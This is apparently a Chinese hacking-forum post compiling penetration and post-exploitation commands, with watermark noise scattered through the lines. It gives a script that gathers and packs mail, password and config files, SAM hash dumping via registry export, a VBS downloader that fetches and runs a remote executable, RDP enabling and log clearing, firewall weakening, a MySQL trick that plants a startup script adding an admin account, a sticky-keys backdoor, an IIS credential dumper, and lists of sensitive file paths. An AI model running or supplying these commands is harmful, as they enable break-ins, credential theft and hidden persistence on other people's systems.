  a5 W2 _/ n7 d7 G' e  a4 o4 w*
calling nmount()

% L2 [. }4 Q' z# K（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
1 V4 V9 ^0 }0 E6 K8 M: O! X. f. W4 ?* ]感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
————————————————————————————
$ C4 V& T( j' h8 B4 m) }1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
+ r+ R/ o: S6 ?& t0 x' ~8 Q注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
2 F9 F7 x$ E2 [6 V若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  
9 Q+ X! n6 F; z+ q/ s5 X% |
提权先执行systeminfo
token 漏洞补丁号 KB956572
Churrasco          kb952004
( ?1 n( r' i) K6 [$ k$ b命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
: A5 y1 \0 C5 U2、收集系统信息的脚本  
; M, V% [3 [& l, f7 S! V( j! zfor window：
" V" p3 ^+ G3 _2 a
1 o  }1 B$ N: f; q& L' t@echo off
echo #########system info collection
systeminfo
7 R- j3 e+ C9 @6 t* ~ver
; Y9 G5 U4 C" o' ?# Lhostname
' l# S6 q5 T; n/ c2 `net user
  Q( ]' |8 z2 }5 g# \' G7 Unet localgroup
$ k% X1 E3 H. h/ i) s' u( y) y5 S8 Xnet localgroup administrators
net user guest
" Q; I# M1 O5 X7 Y: v( Enet user administrator

+ P  w' j$ ~2 |2 \echo #######at- with   atq#####
8 l( U* p7 ^( s3 Necho schtask /query
8 D( v8 X1 J' M
' N4 `0 k9 V& Y* o$ P' [6 }3 techo
7 |1 y, [2 s% R/ T/ F( O  j3 secho ####task-list#############
tasklist /svc
echo
9 ~& `0 ?% V, U! v/ o% X5 mecho ####net-work infomation
0 z8 D1 L9 a1 I" v! p( y. n9 I6 Fipconfig/all
& P" B/ @7 ]5 a( @route print
arp -a
! Q$ T2 x/ A$ m) e+ f7 Tnetstat -anipconfig /displaydns
$ q" V' Q- \/ s, Recho
echo #######service############
sc query type= service state= all
echo #######file-##############
5 q. f3 m( K& r; l) ncd \
  l& s( q8 N: `6 S/ Y0 N1 n4 stree -F
' o: C- A5 A! v/ ~5 ^5 Nfor linux：
% @4 A: q* J/ m/ k) G) s: L
' J" k; U+ m5 W2 m! G; _#!/bin/bash

5 v( M5 Z5 v3 b1 r6 Vecho #######geting sysinfo####
2 Q2 z, r6 i' V( B! b# G: Q; Aecho ######usage: ./getinfo.sh >/tmp/sysinfo.txt
' }! w0 k, T' J" Y+ becho #######basic infomation##
- L, T* R9 b) d  P3 V! wcat /proc/meminfo
4 L& F, _, M( ]echo
cat /proc/cpuinfo
% v  l; B7 |: {6 j& k/ Q! Jecho
* H' N2 O4 _2 \$ h% e. wrpm -qa 2>/dev/null
######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null
* s) j" o$ F& x. |0 I4 }4 l
4 t2 I+ H/ j; l$ b( t
echo 'u'r id is' `id`
echo ###atq&crontab#####
atq
crontab -l
echo #####about var#####
+ y& C# h; m* fset
8 Y; A7 S& W3 W' i& _
. a: _" i* r) k5 hecho #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
cat /etc/hosts
hostname
ipconfig -a
arp -v
# Z9 w" V; ?- j0 Y! Xecho ########user####
9 N+ X* o1 p  q% O  u+ Icat /etc/passwd|grep -i sh
" A) c( H( F' i5 ^  K
echo ######service####
chkconfig --list

for i in {oracle,mysql,tomcat,samba,apache,ftp}
! h' v2 |6 @. L2 R# rcat /etc/passwd|grep -i $i
) o; `7 l8 |+ {7 _' {; B/ v% U* Adone

% B% u' ~4 L$ G! y& t# _locate passwd >/tmp/password 2>/dev/null
1 L5 {8 e( M- F2 \sleep 5
locate password >>/tmp/password 2>/dev/null
1 r. c7 a9 t/ ?% f0 ~5 I+ Bsleep 5
locate conf >/tmp/sysconfig 2>dev/null
. h7 C2 w( I; o+ G: f" rsleep 5
% e) t. x- Q( z9 dlocate config >>/tmp/sysconfig 2>/dev/null
% U: m' `) S" u! l  o0 hsleep 5

# [) J! ]1 @7 ^+ h###maybe can use "tree /"###
echo ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
7 N& L, i7 E% T! _  i" C, t——————————————
3、ethash 不免杀怎么获取本机hash。
0 _5 H- W, o! [* G首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
2 U* p$ Q$ B; u; x3 F4 W. j. v               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
" @* |& z( g( s: B据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
& V  s" U! L9 L& l4 }* m. T4、vbs 下载者
9 ~0 ], c( Y, ?8 H: i9 k1
) a0 L9 |( x5 G( q% v7 Lecho Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
& q+ E, B1 M+ b+ w  S6 A. e; cecho sGet.Mode = 3 >>c:\windows\cftmon.vbs
! k5 v0 J& D- h* y( v" necho sGet.Type = 1 >>c:\windows\cftmon.vbs
2 a% d% K+ _& C) [1 Q# m) P$ Lecho sGet.Open() >>c:\windows\cftmon.vbs
echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
0 ~0 }2 N# {* Q* P2 recho objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
( D0 z- o% J: ^3 ~5 I; icftmon.vbs

2
On Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
0 [; Z0 w/ E8 L! js1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
1 z: U+ j0 {! x5 R) u. GSet sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

6 D$ \# J2 Y3 A4 J当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
——————————————————
5、
+ h$ Y" E/ ^9 Z. c! N+ T" y1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
7 E8 T; k" L. m7 o2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
3 ~, ~' h) L% P" B( ]# A————————————————
6、create table a (cmd text);
  U, p3 ~6 r' finsert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
8 S- [- X" E0 O# ninsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
: [$ b  j$ Q! ]# f9 m/ Q2 Z& p& uselect * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
. ]; T" @2 _# I1 T% x7 d1 m5 J8、for /d %i in (d:\freehost\*) do @echo %i
  s+ f& v0 m. T2 N2 V* p' l, x  W
* Q0 f( y' N; M列出d的所有目录
. c+ O; h/ T) U! r, t* }+ t  
( Y- @( G1 \, n  T) @6 _& p. j  for /d %i in (???) do @echo %i

9 J! B6 p8 l  @- R# t+ s! ~: m2 S把当前路径下文件夹的名字只有1-3个字母的打出来
" y* i7 D: e6 Z) O
9 R; ^$ t4 [  r. L$ o2.for /r %i in (*.exe) do @echo %i
  x3 A  @, x# `3 ~% H+ |4 a1 S  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

3.for /f %i in (c:\1.txt) do echo %i
  
  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

8 C9 {. w! T4 C9 R) ?3 G4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

/ F! c3 K) O( n, m$ l$ r7 E  delims=后的空格是分隔符 tokens是取第几个位置
8 X- M$ {8 G: E+ d3 y——————————
●注册表:
/ {- L0 y6 N1 H. c1.Administrator注册表备份:
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
: j: B) i: ]% v9 K1 M! i
' c6 W2 v, r  o7 R; y2.修改3389的默认端口:
7 j* D, R5 Z  H* |) CHKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.
2 H# D$ H) L" s
+ A" ]2 p& J6 v! N& b, O  M# L3.清除3389登录记录:
reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f

4 R7 W/ Q2 D3 D+ ]7 h4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg
  ?0 J& y; p- `8 a
5.禁用TCP/IP端口筛选(需重启):
6 ?8 |( }5 U( O7 E, VREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
; R" A& |# p) d6 c' T; w. J
1 K, i& k6 l& Z+ E/ S8 _6.IPSec默认免除项88端口(需重启):
: H1 U& ~7 t3 X$ T9 Sreg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
2 i3 K, w! |- I- B( ?' G( W或者
netsh ipsec dynamic set config ipsecexempt value=0
7 u# h+ O: w) S! r( W
* B) N* t! X' `2 d& ^7.停止指派策略"myipsec":
/ ]- \7 o3 J8 S2 m: e5 n5 K5 |netsh ipsec static set policy name="myipsec" assign=n

8 H1 X( N' v7 l/ V8.系统口令恢复LM加密:
; s' |3 h* N2 l2 y6 h2 Hreg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive
6 ~. \* b2 I7 b  Q( z# g2 C
10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

( A9 y# Y1 f- K" Q. [7 [reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
, D: D  t+ R' A; b6 y3 \! i-----------------------------------
星外vbs(注：测试通过，好东西）
! l% q7 z+ @$ i; U6 nSet ObjService=GetObject("IIS://LocalHost/W3SVC")
5 m. |5 i. [8 k" }4 oFor Each obj3w In objservice
childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
7 a, x! y' F2 e2 X- j+ |2 v. vif IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
exit for
, H1 h  J1 P. dmsgbox("error!")
: e( R0 K9 Z& i$ D0 i( Lwscript.quit
end if
! l) I) w9 l$ \! T' Vserverbindings=IIS.serverBindings
ServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
0 z+ e& g0 z4 g) Ppass=iisweb.AnonymousUserPass
path=IIsWeb.path
( x& g: X# Q& A7 Ulist=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
0 F' F5 B6 y/ ?5 y# aend if
. K% i) R; a+ R* ?3 k- I& QNext
  K' c% i4 g9 S: P5 u4 d, ~- F) `; _wscript.echo list
/ B- D& N( O1 Z. y5 p1 i+ pSet ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
( U- z/ i) ]8 I% w! DWScript.Quit
+ w, s9 |1 n! }; m( Y  ^复制代码
----------------------2011新气象，欢迎各位补充、指正、优化。----------------
7 K! O% L' V* [1 ^1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
将folder.htt文件，加入以下代码：
. z: @! B5 ?* ?7 I, ~3 C, U<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
1 B! h0 Z$ ^1 \7 ^7 z4 e! D0 G复制代码
3 ?5 ]4 U; q) m' k" `4 l然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
' O. u# G$ P; M+ i# ]& x 原因是ASP大马里有这样的代码：（没有就没事儿了）
# L; E' F. T8 z7 z+ M" G4 D url=request.severvariables("url")
/ h+ G6 Z# `! C/ \2 l3 r7 l# d 这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
/ d; \% \1 C9 j9 j4 J url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马

: f$ I1 b& W5 O4 ^' ~/ V0 W: x==============================================================
) p, n4 n' y$ y, Y& F% d1 V& \LINUX常见路径：

/etc/passwd
/etc/shadow
/etc/fstab
/etc/host.conf
, M' ]" R4 z8 E! u/ p- j/etc/motd
: q- ?+ ]+ Q* n8 h/etc/ld.so.conf
$ X5 f0 q- n6 j+ `& A- z/var/www/htdocs/index.php
) x, c% h8 u8 N7 z: B5 }/var/www/conf/httpd.conf
/var/www/htdocs/index.html
% d# @/ t! S% f- c0 _/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
4 f& {. ^$ N9 s5 i- y/var/httpd/conf/php.ini
/var/www/index.html
/var/www/index.php
1 g" m8 e; x7 g! M/opt/www/conf/httpd.conf
& {( A8 O. L. D" V3 R/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
! P0 q/ Y! T; T; N+ {/ s/usr/local/apache/htdocs/index.php
. e) a( n4 k$ v! x5 Z/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
2 |0 g" ^. A( }* }/usr/local/httpd2.2/htdocs/index.html
! Q" q0 ?' _1 o! f8 B6 @/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
* p! e+ K9 p3 p- X* d  a0 J/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
/www/php/php.ini
/www/php4/php.ini
( n4 k  c* N4 i) u/ w2 O/ K/www/php5/php.ini
3 ^6 \9 S8 S5 N4 ]( z/www/conf/httpd.conf
/www/htdocs/index.php
/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
. j! B! m$ @/ J1 \" {- {/etc/apache/apache.conf
8 F  o6 X% e8 R7 J9 g/etc/apache2/apache.conf
8 z3 R8 n2 m3 X, l/etc/apache/httpd.conf
9 o5 Y$ s1 V) R, _0 @6 U/ j1 B/etc/apache2/httpd.conf
/etc/apache2/vhosts.d/00_default_vhost.conf
3 I6 o/ o9 k4 P0 C( @+ M- L/etc/apache2/sites-available/default
2 I; }" b5 W2 R; g/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
& I- {. g- F/ b2 L* ~  E/etc/httpd/logs/error_log
/ n5 d0 L* G  P+ D4 D- D) ?, u/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
9 C  ]- G6 u; G/home/apache2/conf/httpd.conf
. d; M: x, \) C' [" z" j1 e/var/log/apache/error_log
' S! Y, V1 x! F- y/var/log/apache/error.log
1 J! P/ M" f  y% ~3 ~: c3 T7 I/var/log/apache/access_log
/var/log/apache/access.log
; t$ c2 q, O. n; X- j3 l, n8 c/var/log/apache2/error_log
/ I* k1 r2 E2 ]. J& ?/var/log/apache2/error.log
! v, A5 ~( Z+ b3 w& ]/ Y4 D/var/log/apache2/access_log
$ S$ S5 H3 e9 ?" W3 a/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
5 B" j; S! I% }7 i! P6 i" F/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
7 o( y/ ?; Z6 l( N9 M/var/log/error_log
- n# y& r- e; z, [& T  D, H/var/log/error.log
/var/log/access_log
/var/log/access.log
" e- U# i% `; {7 e3 W/usr/local/apache/logs/access_logaccess_log.old
2 G# p  f% {. {* i/usr/local/apache/logs/error_logerror_log.old
7 ?8 f  V4 L$ a6 n+ z( ]/etc/php.ini
9 y& |& \1 P6 A6 V6 B, e: R% ~/bin/php.ini
/etc/init.d/httpd
/etc/init.d/mysql
/etc/httpd/php.ini
/usr/lib/php.ini
/usr/lib/php/php.ini
3 }& Q" P$ {$ s- C- N' R9 f* Q! L. O/usr/local/etc/php.ini
2 J. P' S3 B# c9 b+ w/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
) d$ _7 ^, q$ u$ D/usr/local/php4/lib/php.ini
3 ~3 R3 {1 |2 H4 N# r# B! t# D/usr/local/php4/php.ini
' B% ^( Z4 b' L4 {  |. l' f/usr/local/php4/lib/php.ini
0 D( \1 P/ H% u9 _/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
8 h. @6 `& h- Z" h, G8 p( t/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
- v% [1 ^, d1 Y1 ?' \: h5 C/etc/php4.4/fcgi/php.ini
" b8 [8 e: t4 H2 R6 [' @4 ]& T5 F/etc/php4/apache/php.ini
6 L9 h" W  h3 G- {+ }1 f  \' p/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
# J: }6 x3 v1 j' G/etc/php5/apache2/php.ini
/etc/php/php.ini
" R9 D* L1 E8 S& o/etc/php/php4/php.ini
/etc/php/apache/php.ini
- e1 ^* a9 h+ s) F" R; ^0 u/etc/php/apache2/php.ini
$ O2 y% R& V4 Z/ P/web/conf/php.ini
: n* b  @3 a. L4 K* s" h4 V/ p/usr/local/Zend/etc/php.ini
5 Y0 V& U$ K4 r3 V; F/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
) g% ]# G2 n: Y7 e3 E- m2 D/etc/php4/cgi/php.ini
# h! `2 h7 D- K* N8 z3 p/ O8 j/etc/php5/cgi/php.ini
& G9 E1 V8 F; W& {* D. ~5 W, p/php5/php.ini
/php4/php.ini
  K' n; l1 C' B- \4 Q6 E4 V/php/php.ini
/PHP/php.ini
" f2 u: n( w" w/apache/php/php.ini
/xampp/apache/bin/php.ini
0 M+ e4 Y4 h" u+ l' `  v$ X# \/xampp/apache/conf/httpd.conf
9 {: J* t' J: t4 l2 I  \/NetServer/bin/stable/apache/php.ini
; w5 P5 S$ _& w9 J/home2/bin/stable/apache/php.ini
+ H8 z* v% f: x: u/home/bin/stable/apache/php.ini
/var/log/mysql/mysql-bin.log
1 C# e2 R! _' p5 K- ?/var/log/mysql.log
/var/log/mysqlderror.log
) t, ]) |5 g1 f& E/var/log/mysql/mysql.log
. [8 Z8 ^  p' D/var/log/mysql/mysql-slow.log
* [9 k6 [; ?) l- V( O; F5 E/var/mysql.log
/var/lib/mysql/my.cnf
9 B( D; Z0 i7 y9 ]" }0 `/usr/local/mysql/my.cnf
6 q* F8 C4 U6 l/usr/local/mysql/bin/mysql
2 l, z* d: Q' O$ N. s/etc/mysql/my.cnf
/etc/my.cnf
/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
% U3 e1 x6 Z3 ^) O' H/usr/local/cpanel/logs/error_log
' N+ N' }  {* B4 Y: l7 B$ ?% x* y; C/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
( y  J9 f' v/ d0 J: z/usr/local/share/examples/php4/php.ini
6 y5 V+ s) |& B7 B* z$ H' x9 B/usr/local/share/examples/php/php.ini

2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
- g: X- c3 x" N
c:\windows\php.ini
c:\boot.ini
c:\1.txt
( d) m& t5 |. w2 g. P3 ic:\a.txt
' O& _2 a8 ~/ F0 {& F: s
c:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
2 [3 C. L7 w; \& h3 Z. cc:\program files\CMailServer\CMailServer.exe
! r& y; m. t. _7 f( ~c:\program files\CMailServer\WebMail\index.asp
( h+ b: Q" F: W9 ~) v- v" yC:\WinWebMail\SysInfo.ini
2 v2 F! z9 G% m: KC:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
3 O, I3 q9 m) L; o- wC:\WINDOWS\7i24tool.exe
' s+ Q* r% W. r  s/ b
c:\hzhost\databases\url.asp

& R0 d! q$ k+ t6 B( O2 Gc:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
7 |7 r2 n- `2 y
C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
8 U0 d  c- m+ h) z7 A+ f. yc:\web\index.html
8 E4 {' s% t* T$ g5 E$ Z/ qc:\www\index.html
c:\WWWROOT\index.html
0 ]( W! |  c1 kc:\website\index.html
7 I! ~% F# I9 O& b7 o' Q  Ec:\web\index.asp
/ \7 B5 ]! ?- n  hc:\www\index.asp
  H) l! a- l+ B$ |" }! Pc:\wwwsite\index.asp
1 y2 v- e( H  z8 l  Nc:\WWWROOT\index.asp
c:\web\index.php
" Z( }8 x+ ?6 k1 m! O! ]& i% F' Q- \c:\www\index.php
( Z: B& T7 }4 c* Sc:\WWWROOT\index.php
3 r$ A) c( ^2 b& h# p1 Ec:\WWWsite\index.php
c:\web\default.html
c:\www\default.html
c:\WWWROOT\default.html
0 k% j5 _* u! n* M! L# o  y' Qc:\website\default.html
; u/ M/ J4 v8 x6 yc:\web\default.asp
c:\www\default.asp
c:\wwwsite\default.asp
9 @" {, T9 Z0 m1 q9 uc:\WWWROOT\default.asp
3 R3 R" g5 ]5 `$ l) u, Oc:\web\default.php
5 d3 L+ M# \$ a' w- y0 Qc:\www\default.php
c:\WWWROOT\default.php
! Q; E6 W* O9 Z! S+ O; tc:\WWWsite\default.php
C:\Inetpub\wwwroot\pagerror.gif
+ E0 U7 F8 ^; c( o8 dc:\windows\notepad.exe
: \4 G2 `5 ~9 _( K7 xc:\winnt\notepad.exe
C:\Program Files\Microsoft Office\OFFICE10\winword.exe
C:\Program Files\Microsoft Office\OFFICE11\winword.exe
& [" l+ N/ l: [# N; P* u- w0 nC:\Program Files\Microsoft Office\OFFICE12\winword.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
! q% k$ z  S" Y& nC:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
5 D" h. W* t7 ^) T5 |/ |7 m% Hc:\ravbin\store.ini
c:\rising.ini
/ E  V& f* W, ?) ~/ f5 OC:\Program Files\Rising\Rav\RsTask.xml
9 h' v/ z4 Q. x$ T: z' Y% |7 Z% oC:\Documents and Settings\All Users\Start Menu\desktop.ini
8 v- a( z% r4 ZC:\Documents and Settings\Administrator\My Documents\Default.rdp
6 w6 ]& P: T! |- N- y: H: T  s- ~C:\Documents and Settings\Administrator\Cookies\index.dat
) Q# M* w) T5 p$ P% ^. y/ qC:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
; D5 P; h$ A3 c4 J$ E( h# GC:\Documents and Settings\Administrator\桌面\1.txt
$ V* Y% e* u$ V3 ~6 _6 b9 M( oC:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
% p5 g3 P" a5 f" o$ m8 a" _. X! cE:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
! Y4 i. ]& ~! sC:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
% s( S3 {# r- p. rC:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
3 M6 g) K# ^+ ^9 A  G, u! i+ _0 EC:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
" i& \) B. Q" e0 uC:\MySQL\MySQL Server 5.0\my.ini
: N$ s% w- m, c! A1 rC:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
6 ?/ [+ i% r6 `! v: _" iC:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
5 j# G' T" M. k; O5 PC:\Program Files\Oracle\oraconfig\Lpk.dll
/ o1 S; V( i4 ~: c2 DC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
C:\WINDOWS\system32\inetsrv\w3wp.exe
  X3 M9 w& y# a  }# h1 c( N9 MC:\WINDOWS\system32\inetsrv\inetinfo.exe
C:\WINDOWS\system32\inetsrv\MetaBase.xml
) U  n! w# q: d& ?( ^C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
& t; R$ S+ L' W1 o& `! l: J2 lC:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
: J; V, t1 K4 Cc:\tomcat6\tomcat6\bin\version.sh
8 M2 i+ ]& G/ y2 {+ `: O3 Nc:\tomcat6\bin\version.sh
% H3 ^6 `6 V# r, v8 rc:\tomcat\bin\version.sh
" b- w8 A; A+ f) \% |: m3 s% ?/ }c:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
) S) k' Z' t3 M7 @4 H: n" J: I+ }2 A2 C- Ac:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
c:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
# Y1 I# L* J6 [' q  ?# nc:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
